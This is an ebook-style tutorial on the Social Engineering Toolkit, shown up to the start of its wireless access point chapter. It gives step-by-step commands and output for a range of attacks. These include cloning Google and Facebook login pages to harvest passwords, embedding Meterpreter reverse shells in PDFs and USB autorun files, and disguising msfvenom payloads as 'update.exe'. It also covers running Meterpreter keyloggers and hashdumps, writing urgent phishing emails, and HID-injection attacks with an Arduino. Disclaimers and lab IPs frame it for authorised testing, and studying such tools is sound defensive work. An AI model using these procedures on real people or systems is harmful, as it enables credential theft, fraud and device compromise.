

THE SOCIAL ENGINEERING TOOLKIT

From Installation to Advanced Attack Vectors

Written by

Tanish Sareen

© 2026 — For Educational & Authorised Penetration Testing Use Only

LEGAL DISCLAIMER

This ebook is produced strictly for educational purposes and authorised penetration-testing engagements. Every technique, command, and screenshot described herein is intended to help security professionals, students, and researchers understand how attackers operate so that defences can be improved.



Unauthorised Use Is Illegal

Using the Social Engineering Toolkit (SET) or any of the techniques described in this book against systems, networks, or individuals without explicit written permission is a criminal offence in most jurisdictions, including under India's Information Technology Act 2000 (Amended 2008), the US Computer Fraud and Abuse Act (CFAA), the UK Computer Misuse Act, and similar laws worldwide.

The author, Tanish Sareen, accepts no liability for misuse of the information contained in this ebook. Before conducting any security test, always obtain written authorisation from the asset owner.

All demonstrations should be performed exclusively in:

- Isolated lab environments (VMs, private networks)
- CTF (Capture the Flag) competitions
- Authorised penetration testing engagements with a signed scope-of-work agreement

TABLE OF CONTENTS

Legal Disclaimer	3
Preface	4
Chapter 1 — Introduction to SET	5
Chapter 2 — Installation & Environment Setup	7
Chapter 3 — SET Architecture & Configuration	10
Chapter 4 — Main Menu & Navigation	13
Chapter 5 — Spear-Phishing Attack Vectors	16
Chapter 6 — Website Attack Vectors	21
Chapter 7 — Infectious Media Generator	30
Chapter 8 — Create a Payload and Listener	33
Chapter 9 — Mass Mailer Attack	37
Chapter 10 — Arduino-Based Attack Vector	40
Chapter 11 — Wireless Access Point Attack Vector	43
Chapter 12 — QRCode Generator Attack Vector	46
Chapter 13 — PowerShell Attack Vectors	48
Chapter 14 — Fast-Track Penetration Testing	52
Chapter 15 — Third-Party Modules	55
Chapter 16 — SET Configuration Deep-Dive	57
Chapter 17 — Logging, Reporting & Evidence Collection	61
Chapter 18 — Defensive Countermeasures & Detection	64
Chapter 19 — Real-World Lab Scenarios	69
Appendix A — Useful Commands Cheat-Sheet	74
Appendix B — Glossary	76

PREFACE

The Social Engineering Toolkit — universally known as SET — was created by David Kennedy (ReL1K) and is the industry-standard open-source framework for simulating human-centric attacks. Unlike vulnerability scanners that probe operating systems and services, SET targets the most exploitable layer of any organisation: its people.

As a Cyber Security & Forensics student, understanding SET is not optional — it is fundamental. Every security engineer, penetration tester, and blue-team defender needs to know how phishing campaigns are constructed, how credential-harvesting pages are cloned, how payloads are delivered through USB drives, QR codes, and malicious email attachments, and how to detect and stop all of it.

This ebook walks you through every menu option, every configuration flag, every attack vector — step by step, with real terminal commands and explanations of what is happening under the hood. Whether you are preparing for a certification exam, a lab assignment, or a professional penetration test, this guide will serve as your primary reference.

— *Tanish Sareen*

BCA Cyber Security & Forensics, CT University

CHAPTER 1

Introduction to the Social Engineering Toolkit

1.1 What Is SET?

The Social Engineering Toolkit (SET) is an open-source, Python-driven penetration testing framework designed exclusively for social-engineering attacks. It was authored by David Kennedy and is maintained under the Trustedsec organisation. SET is pre-installed in Kali Linux and Parrot OS and is freely available on GitHub.

SET automates a wide range of social-engineering techniques — phishing email campaigns, credential harvesting, payload delivery — giving testers a single, consistent interface instead of juggling dozens of individual scripts.

1.2 Why Social Engineering?

Technical controls — firewalls, IDS/IPS, endpoint protection — are increasingly effective at blocking known exploits. Attackers have therefore shifted focus to the one vector that remains stubbornly difficult to patch: human psychology. According to the Verizon DBIR, over 82% of breaches involve a human element such as phishing, credential theft, or social engineering.

1.3 SET Core Capabilities

Module	Description
Spear-Phishing	Send targeted phishing emails with custom payloads
Website Attacks	Clone sites, inject Java applets, credential harvesting
Infectious Media	Generate autorun-armed USB/CD payloads
Payload & Listener	Create standalone Metasploit payloads
Mass Mailer	Bulk phishing email campaigns
Arduino Attack	HID-injection attacks via Arduino Teensy
Wireless AP Attack	Rogue AP with credential capture portal
QRCode Generator	Embed malicious URLs in QR codes
PowerShell Attacks	PowerShell-based payload delivery
Fast-Track PenTest	Automated SQL injection & MS08-067 exploits
Third-Party Modules	Community-contributed attack modules

1.4 SET Versions & Project History

SET was first released in 2010 and has seen continuous development since. Key milestones:

- v1.0 (2010) — Initial release with basic phishing and Java applet attacks
- v3.0 (2012) — Wireless AP module added
- v5.0 (2014) — Full Python 3 migration begins; QRCode and PowerShell modules added
- v7.0 (2016) — Improved Metasploit integration and new reporting engine
- v8.0+ (2018–present) — Ongoing maintenance; GitHub: [trustedsec/social-engineer-toolkit](https://github.com/trustedsec/social-engineer-toolkit)



Official Repository

<https://github.com/trustedsec/social-engineer-toolkit> — Always install from the official source.

1.5 How SET Fits into the Penetration Testing Lifecycle

SET is used during the Exploitation phase of a pentest, specifically targeting users rather than infrastructure. It works alongside tools such as Metasploit (payload generation and handlers), Maltego or theHarvester (OSINT / target reconnaissance), GoPhish (alternative phishing campaign manager), and Burp Suite (post-exploitation web analysis).

CHAPTER 2

Installation & Environment Setup

2.1 Supported Operating Systems

OS	Status
Kali Linux (all versions)	Pre-installed — recommended
Parrot OS	Pre-installed
BlackArch Linux	Available via pacman
Ubuntu / Debian	Manual install (see below)
Fedora / CentOS	Manual install
macOS	Partial support (some modules unavailable)
Windows (WSL2)	Limited — not recommended for production tests

2.2 Prerequisites

Before installing SET, ensure the following are present on your system:

- Python 3.x (3.8 or later recommended)
- pip3 — Python package manager
- git — version control client
- Metasploit Framework (for payload generation and listeners)
- curl or wget (for auxiliary downloads)
- Root or sudo privileges

2.3 Checking SET on Kali Linux

On Kali Linux, SET is pre-installed. Verify the installation and launch it:

```
# Check if SET is already installed
which setoolkit
# Should return: /usr/bin/setoolkit

# Check version
setoolkit --version

# Launch SET (must be run as root)
sudo setoolkit
```



Always Run as Root

SET requires root privileges for binding to low-numbered ports (80, 443) and for raw socket operations. Run every command with sudo or from a root shell.

2.4 Installing SET from GitHub (Ubuntu/Debian)

Step 1 — Update the package lists and install dependencies:

```
sudo apt-get update && sudo apt-get upgrade -y  
sudo apt-get install -y git python3 python3-pip python3-dev
```

Step 2 — Clone the official SET repository:

```
cd /opt  
sudo git clone https://github.com/trustedsec/social-engineer-toolkit setoolkit/
```

Step 3 — Install the Python requirements:

```
cd /opt/setoolkit  
sudo pip3 install -r requirements/requirements.txt
```

Step 4 — Run the setup installer:

```
sudo python3 setup.py
```

Step 5 — Launch SET:

```
sudo setoolkit  
# or  
sudo python3 setoolkit
```

2.5 Installing Metasploit Framework

SET leverages Metasploit for payload creation and multi/handler. Install it on Ubuntu/Debian with:

```
curl https://raw.githubusercontent.com/rapid7/metasploit-  
omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb >  
msfinstall  
chmod 755 msfinstall  
./msfinstall
```

On Kali Linux, Metasploit is already present. Start the database service before launching msfconsole:

```
sudo systemctl start postgresql
```



```
sudo msfdb init  
msfconsole
```

2.6 Setting Up a Lab Environment

Never practice SET on live infrastructure. Build an isolated lab using VirtualBox or VMware:

1. Create an Attacker VM — Install Kali Linux. Assign a Host-Only or Internal network adapter.
2. Create a Victim VM — Install Windows 10/11 or Ubuntu Desktop. Assign the same network.
3. Verify connectivity — ping between VMs to confirm they are on the same subnet.
4. Snapshot both VMs before every exercise so you can roll back cleanly.
5. Optional: Add a pfSense VM as a gateway to simulate real network segmentation.



Never Run Against Real Systems

All exercises in this book must be performed exclusively in your isolated lab. Never target a real network, user, or domain without a signed penetration testing agreement.

2.7 Keeping SET Updated

```
cd /opt/setoolkit  
sudo git pull  
sudo pip3 install -r requirements/requirements.txt --upgrade
```

CHAPTER 3

SET Architecture & Configuration

3.1 Directory Structure

After installation, SET lives in `/usr/share/set` (Kali) or `/opt/setoolkit` (manual install). Key directories:

Path	Purpose
<code>/usr/share/set/src/</code>	Core Python modules for each attack vector
<code>/usr/share/set/config/</code>	Configuration files (<code>set_config</code>)
<code>/usr/share/set/src/payloads/</code>	Generated payload files
<code>/usr/share/set/src/logs/</code>	Harvested credentials and logs
<code>/usr/share/set/src/webattack/</code>	Cloned websites and web attack files
<code>/usr/share/set/src/fasttrack/</code>	Fast-Track pentest scripts

3.2 The Main Configuration File: `set_config`

SET behaviour is controlled by `/etc/setoolkit/set.config` (or `/usr/share/set/config/set_config`). Open it:

```
sudo nano /etc/setoolkit/set.config
```

Key configuration parameters and their meanings:

Parameter	Description & Default
<code>METASPLOIT_PATH</code>	Path to msfconsole binary. Default: <code>/usr/bin/msfconsole</code>
<code>METASPLOIT_HOME</code>	Metasploit home directory.
<code>AUTO_DETECT</code>	Automatically detect IP address (ON/OFF).
<code>ETTERCAP</code>	Path to ettercap for MITM attacks.
<code>SENDMAIL</code>	Use sendmail for mass mailer (ON/OFF).
<code>SELF_SIGNED_APPLET</code>	Auto-sign Java applets (ON/OFF).
<code>WEBATTACK_EMAIL</code>	Sender email for web-attack phishing.
<code>HARVESTER_LOG</code>	Path for credential harvest logs.
<code>APACHE_SERVER</code>	Use Apache instead of SET's built-in server (ON/OFF).

Parameter	Description & Default
APACHE_DIRECTORY	Apache web root directory.
WEB_PORT	Port for web-based attacks. Default: 80
NAT_REDIRECT	Auto-configure iptables NAT redirect (ON/OFF).
JAVA_CACHE_URL	Java applet cache exploit URL.
SMTP_USERNAME	Gmail/SMTP username for email attacks.
SMTP_PASSWORD	Gmail/SMTP password.
PAYLOADS_PATH	Directory where generated payloads are saved.

3.3 Configuring Your IP Address

SET can auto-detect your IP, but in lab environments it is safer to set it explicitly. Find your IP:

```
ip a show eth0
# or
hostname -I
```

Set the IP in set.config:

```
# In /etc/setoolkit/set.config
IP_ADDRESS=192.168.56.101
```



NAT vs Host-Only

If your Kali VM uses NAT networking, your internal IP differs from your external IP. For lab attacks, use Host-Only networking and the internal IP. For internet-facing tests, use your external IP and configure port-forwarding if needed.

3.4 Configuring Email (SMTP)

The mass mailer and spear-phishing modules need an SMTP server. You can use:

- Your own SMTP server (postfix)
- Gmail with an App Password (requires 2FA enabled on the Google account)
- A dedicated pentesting mail service (mailjet, sendgrid with test credits)

Example Gmail configuration in set.config:

```
SENDMAIL=OFF
SMTP_USERNAME=yourlab@gmail.com
SMTP_PASSWORD=your_app_password
SMTP_SERVER=smtp.gmail.com
SMTP_PORT=587
EMAIL_PROVIDER=GMAIL
```

3.5 Apache vs Built-in Web Server

For web attack vectors SET can use its own simple Python HTTP server or a full Apache2 installation. Apache is preferred in professional engagements for HTTPS support and better stability:

```
# Install and enable Apache
sudo apt-get install apache2 -y
sudo systemctl start apache2

# In set.config
APACHE_SERVER=ON
APACHE_DIRECTORY=/var/www/html
```

3.6 Enabling HTTPS with a Self-Signed Certificate

```
# Generate a self-signed cert
openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
  -keyout /etc/ssl/private/apache-selfsigned.key \
  -out /etc/ssl/certs/apache-selfsigned.crt

# Enable SSL in Apache
sudo a2enmod ssl
sudo a2ensite default-ssl
sudo systemctl restart apache2
```

CHAPTER 4

Main Menu & Navigation

4.1 Launching SET

```
sudo setoolkit
```

You are greeted by the SET banner and the main menu:

```
[---]                                     [---]
[---]  The Social-Engineer Toolkit (SET)  [---]
[---]      Created by: David Kennedy      [---]
[---]      Version: 8.x                   [---]

Select from the menu:

1) Social-Engineering Attacks
2) Penetration Testing (Fast-Track)
3) Third Party Modules
4) Update the Social-Engineer Toolkit
5) Update SET configuration
6) Help, Credits, and About
99) Exit the Social-Engineer Toolkit
```

4.2 Menu Tree Overview

Option	Sub-menu / Function
1 — Social-Engineering Attacks	Access all SE attack vectors (Chapters 5–13)
2 — Penetration Testing (Fast-Track)	Automated exploits: SQLi, MS08-067 (Chapter 14)
3 — Third Party Modules	Community attack modules (Chapter 15)
4 — Update SET	Pull latest SET from GitHub
5 — Update Configuration	Modify set.config interactively
6 — Help / Credits / About	Documentation, author info, license
99 — Exit	Quit SET cleanly

4.3 Social-Engineering Attacks Sub-Menu

When you select option 1, the following sub-menu appears:

```
Select from the menu:
```

- ```
1) Spear-Phishing Attack Vectors
2) Website Attack Vectors
3) Infectious Media Generator
4) Create a Payload and Listener
5) Mass Mailer Attack
6) Arduino-Based Attack Vector
7) Wireless Access Point Attack Vector
8) QRCode Generator Attack Vector
9) PowerShell Attack Vectors
10) SMS Spoofing Attack Vector (Third-party)
99) Return to Main Menu
```

## 4.4 Navigating SET

- Type the number of your chosen option and press Enter.
- Type 99 or b at any sub-menu to go back one level.
- Type q to quit immediately from any point.
- SET prompts are interactive — read each prompt carefully before entering values.
- Most prompts show a default value in brackets, e.g. [y/n]. Press Enter to accept the default.



### Restart After Config Changes

If you edit set.config manually, exit SET completely and relaunch it — changes are read only at startup.

## CHAPTER 5

## Spear-Phishing Attack Vectors

### 5.1 What Is Spear-Phishing?

Spear-phishing is a targeted phishing attack directed at a specific individual or organisation. Unlike mass phishing, spear-phishing emails are personalised — they reference the target's name, employer, or known relationships — making them far more convincing. SET automates the construction and delivery of these emails.

### 5.2 Accessing the Spear-Phishing Module

```
sudo setoolkit
> 1 (Social-Engineering Attacks)
> 1 (Spear-Phishing Attack Vectors)
```

The spear-phishing sub-menu offers:

```
1) Perform a Mass Email Attack
2) Create a FileFormat Payload
3) Create a Social-Engineering Template
99) Return to Main Menu
```

### 5.3 Option 2 — Create a FileFormat Payload

Before launching a mass email attack, you need a malicious payload embedded in a document. Follow these steps:

- From the spear-phishing menu, select option 2.
- SET presents a list of file-format exploits. Common ones include:

| Number | FileFormat Exploit                                             |
|--------|----------------------------------------------------------------|
| 1      | SET Custom Written DLL Hijacking Attack Vector (RAR EXE)       |
| 2      | SET Custom Written Document UNC LM SMB Capture Attack          |
| 3      | Microsoft Word RTF pFragments Stack Buffer Overflow (MS10-087) |
| 4      | Microsoft Word 2007 Open XML .docx Stack Overflow (MS09-027)   |
| 5      | PDF Embedded EXE Social Engineering                            |
| 6      | PDF Embedded EXE Social Engineering (NOJS)                     |

| Number | FileFormat Exploit                                    |
|--------|-------------------------------------------------------|
| 7      | Foxit PDF Reader v4.1.1 Title Stack Buffer Overflow   |
| 8      | Adobe util.printf() Buffer Overflow                   |
| 9      | Custom EXE to VBA (send MSF payload via Office macro) |

Example — creating a malicious PDF:

```
> 2 (Create a FileFormat Payload)
> 5 (PDF Embedded EXE Social Engineering)

SET will now ask about the payload to embed.

1) Windows Meterpreter Reverse_TCP
2) Windows Meterpreter Reverse_TCP X64
3) Windows Meterpreter Reverse_HTTPS
4) Windows Meterpreter Reverse_DNS
5) SE Toolkit Interactive Shell Reverse_TCP
...

> 1 (Windows Meterpreter Reverse_TCP)

IP address for the payload (LHOST): 192.168.56.101
Port for reverse connection [443]: 4444

[*] Generating payload...
[*] Payload saved to: /root/.set/template.pdf
```

## 5.4 Option 1 — Perform a Mass Email Attack

With a payload created, return to the spear-phishing menu and select option 1:

```
> 1 (Perform a Mass Email Attack)

Do you want to use a predefined template or create your own?
1) Pre-Defined Template
2) Custom Developed Template

> 1 (Pre-Defined Template)

Available templates:
1) Confirmed Optin
2) Java Update
3) WOBO (Sent to your enemies)
4) Adobe Upgrade
5) New Voicemail
6) Status Update
7) CNN Breaking News
8) Generic InfoSec
9) Microsoft Update

> 2 (Java Update)
```



```
File to attach (leave blank for none): /root/.set/template.pdf

Set FROM email address: noreply@oracle-update.com
Email subject: Important Java Security Update – Action Required
Send to a single email address or list?
 1) Single
 2) Mass List

> 1 (Single email for lab test)
Target email: victim@lab.local
```

## 5.5 Starting a Metasploit Listener

Before sending the email, start a listener in a separate terminal to catch the reverse connection:

```
Terminal 2
msfconsole -q
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.56.101
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.56.101:4444
```

When the victim opens the PDF and the embedded payload executes, you receive a Meterpreter session:

```
[*] Sending stage (176195 bytes) to 192.168.56.102
[*] Meterpreter session 1 opened (192.168.56.101:4444 -> 192.168.56.102:50312)

meterpreter > sysinfo
Computer : VICTIM-PC
OS : Windows 10 (10.0 Build 19041)
```

## 5.6 Option 3 — Creating a Custom Template

SET lets you craft a fully custom email template. Select option 3 from the spear-phishing menu:

```
> 3 (Create a Social-Engineering Template)
Enter the name of the template: Payroll_Notification
Enter the email FROM address: payroll@yourcompany-lab.com
Enter the email subject: Action Required: Payroll Document Attached
Enter the body of the message (end with a period on its own line):
Dear [First Name],
Please review the attached payroll document for this month.
Open and complete the form by end of day Friday.
Best regards,
HR Department
.
Template saved successfully.
```

## CHAPTER 6

# Website Attack Vectors

## 6.1 Overview

The Website Attack Vectors module is one of SET's most powerful capabilities. It allows you to clone any website and serve it from your machine — tricking victims into entering credentials, executing Java applets, or downloading malicious files.

```
sudo setoolkit
> 1 (Social-Engineering Attacks)
> 2 (Website Attack Vectors)
```

Sub-menu:

```
1) Java Applet Attack Method
2) Metasploit Browser Exploit Method
3) Credential Harvester Attack Method
4) Tabnabbing Attack Method
5) Web Jacking Attack Method
6) Multi-Attack Web Method
7) HTA Attack Method
99) Return
```

## 6.2 Credential Harvester Attack (Option 3)

This is the most commonly used web attack. SET clones a login page and captures every username and password submitted.

### Step 1 — Select the method

```
> 3 (Credential Harvester Attack Method)

1) Web Templates
2) Site Cloner
3) Custom Import

> 2 (Site Cloner)
```

### Step 2 — Enter your IP address

```
Enter the IP address for POST back in Harvester/Tabnabbing [192.168.56.101]:
192.168.56.101
```

### Step 3 — Enter the target URL to clone

```
Enter the URL to clone: https://accounts.google.com/signin

[*] Cloning the website: https://accounts.google.com/signin
[*] This could take a little bit...
[*] Harvester is running. Navigate to http://192.168.56.101

[*] Harvester listening on port 80.
```

## Step 4 — Social-engineer the victim

Send the victim a link to your IP address (e.g. <http://192.168.56.101>). They see a pixel-perfect clone of Google's login page. When they submit their credentials:

```
[*] WE GOT A HIT! Printing the output:
POSSIBLE USERNAME FIELD FOUND: Email => victim@gmail.com
POSSIBLE PASSWORD FIELD FOUND: Passwd => P@ssw0rd123
[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.
```

Credentials are saved to `/root/.set/reports/harvester_DATE.xml` and `.txt`.

## 6.3 Web Templates (Option 1)

Instead of cloning a site, use SET's pre-built templates. From option 1:

```
> 1 (Web Templates)
Enter IP address for the POST back [192.168.56.101]: 192.168.56.101

Select a template:
1) Java Required
2) Google
3) Twitter
4) Facebook

> 4 (Facebook)
[*] Harvester is running on port 80.
```

## 6.4 Java Applet Attack Method (Option 1)

This method clones a website and injects a Java applet prompt. The victim visits the cloned site and is asked to run a Java applet — which executes a Meterpreter payload.



### Legacy Technique

Java applet attacks require the victim to have an outdated Java plugin and browser enabled. Modern browsers block NPAPI plugins. This module is useful for testing legacy systems.

```
> 1 (Java Applet Attack Method)
> 2 (Site Cloner)

IP for the reverse payload [192.168.56.101]: 192.168.56.101
Port for the reverse payload [443]: 4444
URL to clone: http://www.targetsite.lab
```

```
Select payload:
 1) Windows Meterpreter Reverse_TCP
> 1

[*] Generating Java applet...
[*] Cloning site...
[*] Starting web server...
[*] Java Applet attack loaded.
```

## 6.5 Tabnabbing Attack Method (Option 4)

Tabnabbing exploits browser-tab inactivity. When a victim opens a malicious page and switches tabs, the page silently redirects to a clone of a trusted site (e.g. Gmail). When they switch back, they see a login form that looks legitimate.

```
> 4 (Tabnabbing Attack Method)
> 2 (Site Cloner)

IP for POST back [192.168.56.101]: 192.168.56.101
URL to clone: https://accounts.google.com

[*] Tabnabbing attack loaded.
[*] When victim switches away and returns, they see the cloned page.
```

## 6.6 Web Jacking Attack Method (Option 5)

Web Jacking sends the victim a link. When they click it, they briefly see the real site before being seamlessly redirected to a clone. The URL in the browser still shows the real domain for a split second, adding credibility.

```
> 5 (Web Jacking Attack Method)
> 2 (Site Cloner)

IP for POST back [192.168.56.101]: 192.168.56.101
URL to clone: https://www.facebook.com

[*] Web Jacking attack loaded.
[*] URL to send to victim: http://192.168.56.101/?
[*] Victim will briefly see facebook.com before redirection.
```

## 6.7 HTA Attack Method (Option 7)

HTA (HTML Application) files run with full Windows privileges under mshta.exe. SET creates an HTA file hosted on its web server. When the victim opens the link, a popup asks them to run the HTA, which executes a PowerShell/Meterpreter payload.

```
> 7 (HTA Attack Method)
```

```
IP for reverse connection [192.168.56.101]: 192.168.56.101
Port for reverse connection [443]: 8080
```

```
Payload:
```

```
 1) Powershell Meterpreter Reverse_TCP
> 1
```

```
[*] Generating HTA...
```

```
[*] HTA Attack loaded at: http://192.168.56.101/SET
```

## CHAPTER 7

# Infectious Media Generator

## 7.1 Overview

The Infectious Media Generator creates payloads designed for physical delivery via USB drives, CDs, or DVDs. When plugged into a Windows machine with Autorun enabled (or via shortcuts), the payload executes automatically.

```
sudo setoolkit
> 1 (Social-Engineering Attacks)
> 3 (Infectious Media Generator)
```

```
1) File-Format Exploits
2) Standard Metasploit Executable
99) Return
```

## 7.2 Option 2 — Standard Metasploit Executable

This is the simplest method: generate a Meterpreter EXE and place it on a USB drive with a crafted autorun.inf.

### Step-by-Step

```
> 3 (Infectious Media Generator)
> 2 (Standard Metasploit Executable)

Payload:
1) Windows Shell Reverse_TCP
2) Windows Meterpreter Reverse_TCP
3) Windows Meterpreter Reverse_HTTPS
4) Windows Meterpreter Reverse_DNS
5) Download/Run your own executable
> 2 (Windows Meterpreter Reverse_TCP)

LHOST (your IP): 192.168.56.101
LPORT [443]: 4444

[*] Generating payload: /root/.set/autorun/payload.exe
[*] Generating autorun.inf...

[*] Copy the contents of /root/.set/autorun/ to your USB drive.
```

Navigate to the output directory and examine the files:

```
ls /root/.set/autorun/
autorun.inf payload.exe
```

The autorun.inf file contains:

```
[AutoRun]
open=payload.exe
action=Open folder to view files
label=USB Drive
```

## 7.3 Deploying the USB Payload

8. Format a USB drive and copy the contents of /root/.set/autorun/ to its root.
9. Start your Metasploit listener (as shown in Chapter 5.5).
10. Plug the USB into the target Windows machine.
11. On older systems (XP/Vista/7 with Autorun enabled), the payload runs automatically.
12. On newer Windows (8+), AutoRun is disabled for USB. Social-engineer the victim to double-click the EXE.

### Social Engineering Angle



Label the USB 'Q3 Financial Report' or 'Employee Bonus List'. Curiosity drives clicks. Leaving USB drives in car parks or office lobbies is a classic Red Team tactic known as a USB drop attack.

## 7.4 Option 1 — File-Format Exploits

Instead of a raw EXE, embed the payload inside a document (PDF, Word, etc.) on the USB. When the victim opens the document, the exploit fires. Follow the same payload-selection steps as in Chapter 5.3.

## CHAPTER 8

# Create a Payload and Listener

## 8.1 Overview

This module generates a standalone payload executable and automatically configures a Metasploit multi/handler listener. It is the quickest route to a Meterpreter session in a lab environment.

```
sudo setoolkit
> 1 (Social-Engineering Attacks)
> 4 (Create a Payload and Listener)
```

## 8.2 Step-by-Step — Windows Meterpreter Reverse HTTPS

```
> 4 (Create a Payload and Listener)

IP address for the payload (LHOST): 192.168.56.101
Port for the payload (LPORT) [443]: 443

Select payload:
1) Windows Shell Reverse_TCP
2) Windows Meterpreter Reverse_TCP
3) Windows Meterpreter Reverse_HTTPS
4) Windows Meterpreter Reverse_TCP X64
5) Windows Shell Reverse_TCP X64
6) SE Toolkit HTTP Reverse Shell
7) SE Toolkit HTTPS Reverse Shell
8) SE Toolkit HTTP PowerShell Alphanumeric Shellcode Injection
9) SE Toolkit HTTPS PowerShell Alphanumeric Shellcode Injection
10) Windows Meterpreter Reverse_DNS
11) Linux Meterpreter Reverse_TCP
12) Linux Shell Reverse_TCP
13) ImportExec (Bypasses most AV — see documentation)
> 3 (Windows Meterpreter Reverse_HTTPS)

[*] Generating payload via msfvenom...
[*] Payload saved to: /root/.set/payload.exe
[*] Would you like to launch a listener? [y/n]: y
[*] Launching Metasploit listener...

[*] Started HTTPS reverse handler on 0.0.0.0:443
```

## 8.3 Delivering the Payload

Once generated, the payload.exe must reach the victim. Common delivery methods:



- Embed in an email attachment (use with spear-phishing module)
- Host on a web server (use SET's web server or Apache)
- Copy to a USB drive (use with infectious media module)
- Rename to something enticing: Invoice\_March2026.exe, Salary\_Slip.exe

## 8.4 msfvenom Payload Reference

SET calls msfvenom internally. Understanding msfvenom helps you customise payloads further:

| Payload String                                      | Description                                                |
|-----------------------------------------------------|------------------------------------------------------------|
| <a href="#">windows/meterpreter/reverse_tcp</a>     | Classic Windows 32-bit Meterpreter over TCP                |
| <a href="#">windows/x64/meterpreter/reverse_tcp</a> | Windows 64-bit Meterpreter over TCP                        |
| <a href="#">windows/meterpreter/reverse_https</a>   | Encrypted Meterpreter over HTTPS (bypasses many firewalls) |
| <a href="#">linux/x86/meterpreter/reverse_tcp</a>   | Linux 32-bit Meterpreter                                   |
| <a href="#">linux/x64/meterpreter/reverse_tcp</a>   | Linux 64-bit Meterpreter                                   |
| <a href="#">osx/x86/shell_reverse_tcp</a>           | macOS shell payload                                        |
| <a href="#">android/meterpreter/reverse_tcp</a>     | Android Meterpreter                                        |

Generate a custom payload manually with msfvenom:

```
msfvenom -p windows/x64/meterpreter/reverse_https \
 LHOST=192.168.56.101 LPORT=443 \
 -f exe -o /var/www/html/update.exe
```

## 8.5 Using the Meterpreter Shell

After the victim executes the payload and a session opens:

```
meterpreter > help # Show all commands
meterpreter > sysinfo # System information
meterpreter > getuid # Current user context
meterpreter > getsystem # Attempt privilege escalation
meterpreter > shell # Drop into a Windows CMD shell
meterpreter > upload /local/file C:\\remote\\path
meterpreter > download C:\\Users\\victim\\passwords.txt /root/
meterpreter > screenshot # Capture desktop screenshot
meterpreter > keyscan_start # Start keylogger
meterpreter > keyscan_dump # Dump keylogger buffer
meterpreter > hashdump # Dump password hashes
meterpreter > run post/windows/gather/credentials/credential_collector
```

## CHAPTER 9

# Mass Mailer Attack

## 9.1 Overview

The Mass Mailer module sends phishing emails to a single target or a large list of recipients. It supports Gmail, custom SMTP servers, and the sendmail binary.

```
sudo setoolkit
> 1 (Social-Engineering Attacks)
> 5 (Mass Mailer Attack)

 1) Email Attack Single Email Address
 2) Email Attack Mass Mailer
 99) Return
```

## 9.2 Option 1 — Single Email Attack

```
> 1 (Email Attack Single Email Address)

Send email to: victim@lab.local

Use a Gmail account for the sending? [y/n]: y
Your Gmail address: attacker@gmail.com
Your Gmail password (App Password): abcd efgh ijkl mnop

E-mail FROM name (who the email appears to be from): IT Support
E-mail FROM address: it.support@company-lab.com
E-mail subject: Your Password Expires Tonight — Action Required

Do you want to attach a file? [y/n]: y
File path for attachment: /root/.set/template.pdf

Send the message as HTML or plain text?
 1) HTML
 2) Plain

> 1 (HTML)

Enter the body of the message (end with a '.' on a new line):
<html><body>
<p>Dear User,</p>
<p>Your company password will expire at midnight. Please open the attached
document and follow the instructions to reset your password immediately.</p>
<p>Thank you,
IT Support</p>
</body></html>
.
```

```
[*] Sending email to victim@lab.local...
[*] Email sent!
```

### 9.3 Option 2 — Mass Mailer

Create a plain-text file with one email address per line:

```
/root/targets.txt
alice@labcorp.local
bob@labcorp.local
carol@labcorp.local
```

```
> 2 (Email Attack Mass Mailer)

Path to email list: /root/targets.txt
Use Gmail? [y/n]: y
... (same prompts as above)

[*] Sending to alice@labcorp.local... [OK]
[*] Sending to bob@labcorp.local... [OK]
[*] Sending to carol@labcorp.local... [OK]
[*] Mass mail campaign complete.
```

### 9.4 Crafting Convincing Phishing Emails

Element	Best Practice
Sender name	Impersonate IT, HR, Finance, or an executive
Subject line	Create urgency: 'Action Required', 'Your account will be locked'
Branding	Use HTML with company colours/logo (harvested from real website)
Call to action	Single, clear CTA: 'Click here to verify' or 'Open the attached form'
Attachment name	Match the email context: 'Password_Reset_Form.pdf'
Footer	Include plausible disclaimer text and unsubscribe link



#### Only Use Against Lab Targets

Sending phishing emails to real email addresses without consent is illegal and unethical. All mass mailer tests must target dummy accounts on your isolated mail server.

## CHAPTER 10

# Arduino-Based Attack Vector

## 10.1 Overview

The Arduino-Based Attack Vector weaponises an Arduino Uno or Teensy board as a USB Human Interface Device (HID). When plugged into a computer, it emulates a keyboard and types pre-programmed keystrokes at superhuman speed, executing commands before the user can react.



### Hardware Required

Arduino Uno/Leonardo (with HID library), or PJRC Teensy 2.0/3.x. The Teensy is preferred — it is natively recognised as a keyboard/mouse by all operating systems.

## 10.2 Accessing the Module

```
sudo setoolkit
> 1 (Social-Engineering Attacks)
> 6 (Arduino-Based Attack Vector)

1) Powershell HTTP GET MSF Payload
2) WSCRIPT HTTP GET MSF Payload
3) Powershell based Reverse Shell Payload
4) Internet Explorer/FireFox Beef Framework
5) Go to malicious java site and accept applet
6) Gnome Terminal Reverse Shell
99) Return
```

## 10.3 Option 1 — PowerShell HTTP GET MSF Payload

```
> 1 (Powershell HTTP GET MSF Payload)

IP for the MSF payload (LHOST): 192.168.56.101
Port for the MSF payload [80]: 80

[*] Generating Arduino sketch...
[*] Sketch saved to /root/.set/reports/Arduino.ino
```

The generated sketch opens PowerShell and downloads/executes a Meterpreter payload from your SET web server. View the sketch:

```
cat /root/.set/reports/Arduino.ino
```

## 10.4 Flashing the Sketch to Arduino

13. Open the Arduino IDE on your workstation.
14. File > Open > navigate to /root/.set/reports/Arduino.ino
15. Install the Keyboard library if prompted (Tools > Manage Libraries > Keyboard).
16. Select the correct board (Tools > Board > Arduino Leonardo or Teensy).
17. Click Upload to flash the sketch.
18. Start your Metasploit listener on 192.168.56.101:80.
19. Plug the Arduino into the target machine — the attack runs within seconds.



### Ducky Script Alternative

USB Rubber Ducky (by Hak5) uses a similar HID-injection approach with a simpler scripting language. SET's Arduino module achieves the same result with cheaper hardware.

## CHAPTER 11

# Wireless Access Point Attack Vector

## 11.1 Overview

The Wireless AP Attack Vector creates a rogue access point with a captive portal that harvests Wi-Fi credentials or redirects victims to other SET attack modules. This module requires two wireless interfaces — one to broadcast the rogue AP and one to provide upstream internet (optional).

```
sudo setoolkit
> 1 (Social-Engineering Attacks)
> 7 (Wireless Access Point Attack Vector)

 1) Wireless Attack Vector (hostapd)
